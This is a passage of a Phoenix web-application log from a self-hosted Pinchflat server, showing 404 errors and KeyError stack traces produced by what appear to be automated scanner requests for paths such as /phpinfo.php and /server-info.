{"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__webpack_dev_server__/sockjs-node/info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgoYBThQXsaAABcXi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21691.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__webpack_dev_server__/sockjs-node/info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37444}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__webpack_dev_server__/sockjs-node/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21691.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__webpack_dev_server__/sockjs-node/info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37444}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21692.0>, params: %{}, path_info: ["__webpack_dev_server__", "sockjs-node", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__webpa (truncated) 15:40:39.138 [info] GET /server-info 15:40:39.138 [debug] QUERY OK source="settings" db=0.0ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.139 [debug] QUERY OK source="settings" db=0.1ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.139 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.139 [error] #PID<0.21694.0> running PinchflatWeb.Endpoint (connection #PID<0.21693.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /server-info ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37452}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21694.0>, params: %{}, path_info: ["server-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/server-info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgol1TTqqFosABcYC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37452}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37452}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21694.0>, params: %{}, path_info: ["server-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/server-info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgol1TTqqFosABcYC"} ], scheme: :http, scrip (truncated) 15:40:39.193 [info] GET /__cve_probe_cve_test_404 15:40:39.193 [debug] QUERY OK source="settings" db=0.2ms idle=128.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.193 [debug] QUERY OK source="settings" db=0.0ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.193 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.194 [error] #PID<0.21696.0> running PinchflatWeb.Endpoint (connection #PID<0.21695.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__cve_probe_cve_test_404 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37464}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21696.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgoyz5B9VhDQACMyh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37464}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37464}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21696.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priv (truncated) 15:40:39.311 [info] GET /info.php 15:40:39.311 [debug] QUERY OK source="settings" db=0.1ms idle=230.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.312 [debug] QUERY OK source="settings" db=0.0ms idle=173.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.312 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.312 [error] #PID<0.21698.0> running PinchflatWeb.Endpoint (connection #PID<0.21697.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37474}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21698.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgpPCykgnK1cACMzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37474}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37474}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21698.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgpPCykgnK1cACMzB"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:39.424 [info] GET /phpinfo.php 15:40:39.424 [debug] QUERY OK source="settings" db=0.1ms idle=285.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.424 [debug] QUERY OK source="settings" db=0.0ms idle=231.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.424 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.425 [error] #PID<0.21700.0> running PinchflatWeb.Endpoint (connection #PID<0.21699.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37484}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21700.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", 